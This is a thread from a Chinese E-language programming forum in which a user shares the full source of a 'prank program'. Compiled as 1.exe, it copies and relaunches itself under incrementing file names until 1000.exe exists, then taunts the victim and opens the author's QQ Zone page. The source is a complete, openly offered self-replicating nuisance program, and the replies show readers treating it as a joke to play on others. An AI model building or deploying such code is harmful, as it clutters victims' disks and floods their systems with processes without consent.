开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 20753|回复: 144
打印 上一主题 下一主题
收起左侧

[易语言纯源码] 早期写的整人程序源码

[复制链接]

结帖率:60% (3/5)
跳转到指定楼层
发表于 2012-12-15 16:45:36 | 只看该作者 回帖奖励 |正序浏览 |阅读模式   广东省揭阳市
分享源码
界面截图:
是否带模块: -
备注说明: -
本帖最后由 小磊 于 2012-12-15 16:51 编辑

老东西了。貌似是两年前写的,源码需要编译成“1.exe”的文件名以后才能看出效果,以下是代码
[e]
.版本 2
.程序集 程序集1
.程序集变量 名称, 文本型, , "0"
.程序集变量 复制名称, 文本型
.程序集变量 最终名称, 文本型
.子程序 _启动子程序, 整数型
.如果真 (取执行文件名 () = “1000.exe”)
    信息框 (“今天就玩到这里,你慢慢删吧!”, 0, )
    运行 (“explorer http://742918299.qzone.qq.com/”, 假, )
    结束 ()
.如果真结束
名称 = 分割文本 (取执行文件名 (), “.”, )
复制名称 = 到文本 (到数值 (名称 [1]) + 1)
最终名称 = 取运行目录 () + 复制名称 + “.exe”
复制文件 (取运行目录 () + 取执行文件名 (), 最终名称)
运行 (最终名称, 假, )
返回 (0)
[/e]

结帖率:100% (3/3)

签到天数: 3 天

144
发表于 2024-9-26 20:55:50 高大上手机用户 | 只看该作者   福建省厦门市
好奇看看
回复 支持 反对

使用道具 举报

143
发表于 2013-9-2 14:23:22 | 只看该作者   山西省晋城市
看看先
回复 支持 反对

使用道具 举报

结帖率:44% (4/9)
142
发表于 2013-8-30 09:57:06 | 只看该作者   广西壮族自治区柳州市
1000个,太狠了。。
回复 支持 反对

使用道具 举报

141
发表于 2013-6-21 13:52:13 | 只看该作者   上海市上海市
看看先。。。。
回复 支持 反对

使用道具 举报

结帖率:100% (34/34)

签到天数: 15 天

140
发表于 2013-5-14 16:21:47 | 只看该作者   湖北省襄阳市
这是开网页吧够狠
回复 支持 反对

使用道具 举报

139
发表于 2013-4-6 17:06:48 | 只看该作者   浙江省湖州市

楼主   有事好商量,别抢第一
回复 支持 反对

使用道具 举报

结帖率:37% (7/19)
138
发表于 2012-12-23 10:35:24 | 只看该作者   北京市北京市
看一下啦      
回复 支持 反对

使用道具 举报

结帖率:47% (15/32)
137
发表于 2012-12-22 14:07:49 | 只看该作者   广西壮族自治区桂林市
看看先{:soso_e100:}
回复 支持 反对

使用道具 举报

结帖率:50% (3/6)

签到天数: 22 天

136
发表于 2012-12-22 13:45:28 | 只看该作者   广东省广州市
小磊出品,值得一看!
回复 支持 反对

使用道具 举报

135
发表于 2012-12-22 13:31:46 | 只看该作者   山东省菏泽市
整人的?我喜欢
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报QQ: 793400750,邮箱:[email protected]
网站简介:精易论坛成立于2009年,是一个程序设计学习交流技术论坛,隶属于揭阳市揭东区精易科技有限公司所有。
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表